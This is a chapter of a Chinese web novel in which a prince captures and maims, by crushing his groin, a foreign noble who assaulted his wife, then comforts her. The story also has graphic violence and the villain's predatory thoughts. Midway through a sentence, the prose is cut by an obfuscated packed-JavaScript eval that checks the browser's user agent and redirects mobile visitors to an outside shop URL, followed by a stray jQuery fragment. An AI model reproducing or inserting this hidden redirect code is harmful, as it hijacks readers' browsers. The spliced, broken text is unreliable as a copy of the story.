眼下,乌日逐已出城一日了。
弈宁自乔嬷嬷肩上抬起头,胡乱擦了把眼泪,勉强扯起一个笑脸:“这两日,让嬷嬷受累了。我现下好些了,等用过了早膳,让管事们都过来一趟吧。今日是小年呢,府里也不能一直这么肃沉沉的。”
“是,”乔嬷嬷爱怜地替弈宁拢了拢衣裳,和蔼地笑道:“王妃就当是被狗咬了一口,这些事不值当您记着,殿下也只有心疼的。奴婢稍后就让人将灯笼都挂起来,咱们喜气洋洋地过小年,把那些晦气都祛一祛。”
自出了凉州卫,萧川一路策马,饭也不肯停下来用,不过一夜的功夫,已经替换下来好几匹马了。褚雷跟在后面,心里着急,却也不敢劝。他心知罗六说的含糊,个中详情若非不知,便是刻意隐瞒。
若是前者,倒还好些,若真是刻意隐瞒。。。。。。
他心里不禁沉了沉,王妃可千万不能出事啊,殿下这些年实在太苦了,好不容易才有个贴心的人。
风雪渐大,一行人头上身上全是雪,这样的雪天里,便是再急,马也跑不出速度。每到一处驿站,必得停下来换马。
前方很快又要到驿站了,褚雷想劝萧川多歇一会儿,喝口热汤。还未开口,却见萧川突然勒停了马,眯着眼睛,目色阴鸷。
顺着他的目光望过去,褚雷看见前方不远处有个人,似乎刚从驿站出来不久,穿着一身皮袍,满脸络腮胡,身上还带着伤。那人显然也看见了他们,正欲掉转马头走旁侧岔路。便听得耳边萧川一身怒喝:“截住他。”
褚九罗六等人闻声,迅速策马去拦,就在这一刹那,褚雷认出了那人。不是旁人,正是乌日逐。
乌日逐反应也算快,认出萧川的一瞬间,就想要逃,奈何身上有伤,即便如此,也费了褚九好几人之力才将人抓了回来。
萧川咬着腮帮子,提刀便下了马,战靴踏过腿肚深的积雪,“咯吱”作响。
乌日逐本来还怀着侥幸,想着萧川并不在城内,应当不会这么快得知消息。可当褚九和罗六一上来就卸了他的胳膊,将他押到萧川面前时,他便知道,萧川已知晓一切。
他跟萧川不是第一次见,但如此近距离的见,却是第一次。
“大启承王,又见面了。”他忍着胳膊的痛,嘿嘿笑着。乌日逐一身蛮力,又兼出身高贵,在瓦剌少有敌手,一向是不把旁人放在眼里的,且尤其看不起汉人。
他不觉得萧川会真把他怎么样,虽然放他时,那个汉人说的骇人。可启人一向胆小,不然怎会抓了他又放了他?再说了,他也没做什么,不过是打伤了两个人,跟萧川的女人说了几句话而已,既没有杀人,也没有真的睡了他的女人,至于这么大动干戈么?
萧川看着乌日逐,双眸寒若冰霜。他一步步走向乌日逐,“锃”地一声,手中长刀应声出鞘。
乌日逐唬了一跳:“做什么?你来真的?”
萧川冷笑一声,继续往前走。
“你要杀我,是想和我瓦剌再次开战吗?”他情急之下,大喊道。
“殿下!”正在这时,前方又有两匹马奋力疾行而来,正是衙署中的两名护卫。
褚雷诧异,喊道:“你们怎么来了?”莫非发觉这乌日逐逃脱来追的,可怎么只有两人?
二人顾不上回答褚雷,到了跟前,看也未看乌日逐,滚下马便半跪在雪地里,行了军礼,急声道:“殿下,是罗大人派卑职二人前来的。他说只有一句话,请殿下听完再行处置乌日逐。”
“何话?”萧川仍旧提着刀,死死盯着乌日逐,半步未动。
其中一人咽了口唾沫,壮着胆子道:“罗大人说,放乌日逐出城是王妃亲自下的令,让殿下莫辜负王妃一番苦心。”
萧川闻言,顿时就黑了脸,他疾步转身望着二人,按在刀背上的手,青筋暴起:“罗衍之,他怎么敢!”
蓦地,他大喝一声,转身便上前提起乌日逐的衣襟,一把掼到地上。
乌日逐身型高大粗壮,即便在瓦剌,能够单臂将他撂倒的人也不多。他想起父王巴图温的警告:不要轻易去招惹萧川,你不是他的对手。
上回在王叔敖敦帐中饮酒,说到大启的承王妃如何美丽雪白时,王叔的两只眼睛都在放光。他当时便动了心火,还是王叔送了两个女奴给他,那夜才得以过去。说起来,那两个女奴也算勾人,可比起前日看到的承王妃,可是差得太远了,只可惜不曾得手。
这次议税,本来没他什么事儿,是他惦记着来看美人儿,非要前来,再加上王叔在大王面前替他说好话,他这才得以被允准同行。
他原就是为了看美人儿来的,自然也不关心议税之事。只不过来了这几日,萧川一直在城中,那位王妃又从不曾出来。他不得已,除了去窑子里玩那些胡姬取乐,实在无事可干。
却不料,出城那日,也不知是哪儿来的叫花子,竟将一帛画像塞到了他的奴人手中。待他展开来看时,瞬时便被帛缎上人那惊人的美貌勾去了魂儿。
乌日逐从来没见过这般美丽的女人,一时间心痒难耐,他略略认得些汉文,知道那上面的字写的是“王妃谢氏”。
等行了一日路后,他听说萧川离了城,再也忍不住体内燥意,不顾劝阻,坚持带着自己帐下护卫的奴人,又瞧瞧潜回了银州府城。
他在酒肆里足足等了两日,才终于等到王妃出府。原本他只是想看一眼这女人是不是真有那么美,毕竟是萧川的女人,他暂时还不好动。倘若当真貌美,等日后开战了,他再寻机来将人掳了回去就是。
可他那两日酒饮得多了些,再加上弈宁实在貌美,他觉得自己恐怕是等不了日后了,一时气血翻涌,什么也顾不得了,竟当场就想占为己有。
此刻,萧川一脚踏在他的胸口,乌日逐简直要气死了,他何时被人这般对待过?不过是个女人,便是真被他睡了又如何,何况他还没睡成。这承王脑子是不是不好使?
他手不能动,只得拼命将身子往一边侧去,好让自己能喘上一口气。
“萧川,你想清楚,你、你真要为了个女人与我瓦剌开战?你若要女、女人,我送你几个就是,咳咳。。。。。”他一边咳,一边将话说完。
萧川却突然一个用力,将他踩的几乎吐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715644|135967||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
血。
“你以为我大启男儿都如你们瓦剌人这般猪狗不如么?连自己的妻子女儿都可以随意送人。我萧川的女人,谁敢碰一个指头,我必剁了他。”
萧川一脚踏着乌日逐俯下身来,这个动作几乎是将全身的重量都压在了他身上,乌日逐的嘴角很快便渗出鲜血来。
“乌日逐,我今日不杀你。”萧川拿刀拍了拍他的脸。
乌日逐听到萧川说不杀他,刚要松一口气,却见萧川冷笑一声,起身收起刀。随后,他踏住乌日逐的那只脚一路往下,经过下腹时,乌日逐似乎明白了他的用意,不敢置信地瞪着萧川,庞大的身躯明显地瑟缩了一下。
“可这世上,多的是比杀人更狠毒的法子。”萧川说着,也不等乌日逐再说话,便在他震惊的目光中,厚重的牛皮战靴在他两腿之间,狠狠踩碾下去。。。。。。
“啊!”
凄惨的喊声在雪地里回荡,又戛然而止。
末了,萧川收回脚,对仍旧跪在地上的两名护卫道:“守着。等他醒了,将他的两条胳膊装上,让他立马给本王滚出西北。”
——
萧川进城时,已是晚膳时分。弈宁正被豆蔻哄着喝一碗参汤,突然听得外面有人唤“殿下”,她猛然抬头,还未及放下羹匙,萧川已疾步进了屋。
玄色大氅上还带着雪,眉毛头发都染成了白色。弈宁看着他向自己走过来,眼泪瞬间夺眶而出。
萧川顾不得身上还带着寒气,一把拽下大氅,丢在地上,上前便抱住了弈宁。
弈宁委屈极了,没见到萧川时,她尚且能撑,现下他回来了,她竟觉得整个人都似软了下来,浑身再无半丝力气,只有眼泪,不受控制地犹如河水决堤般往下淌。
萧川知她定是被吓坏了,抚着她的肩膀,轻声安慰:“阿宁莫怕,我回来了。”
弈宁紧紧拽着萧川的衣襟不松手,头贴靠在他的胸前,半个身子都蜷缩进了萧川怀里,泣不成声。
听着弈宁一抽一抽的哭声,萧川心口犹如被人拿刀一条条地割着,一阵一阵地生疼,难受极了。可他却不劝,只用力地抱着她,一遍一遍吻着她的发顶,柔声道:“想哭就哭吧,我在这里。”
一想到,这两日她受了这般的惊吓和委屈,还得强撑着替他费心周全,恐怕连好生哭一场都不能够,萧川就自责地要死。什么边税?什么议和?他就不该顾忌这个顾忌那个,应该一刀砍了乌日逐那个王八蛋。
弈宁还在哭,眼泪打湿了萧川胸前的衣襟。他将手穿过弈宁的膝弯,将她整个儿抱到自己的腿上,紧紧圈在怀里。
不过几日功夫,他只觉得她似是瘦了不少,原本就瘦削的双肩变得更加纤薄,抱在身上几乎轻的没有重量,柔弱娇软的一小团,犹如初生婴孩,让他心尖儿都在发疼。
萧川不知道该怎么哄她,只能学着幼时乔嬷嬷哄他的样子,指尖轻轻捏着弈宁的耳垂,在她耳边一遍遍轻声唤着:阿宁莫怕。
阿宁莫怕,我再也不会让你受今日这种委屈。阿宁莫怕,从今以后,若谁敢再这般吓你,无论是何后果,我必替你宰了他。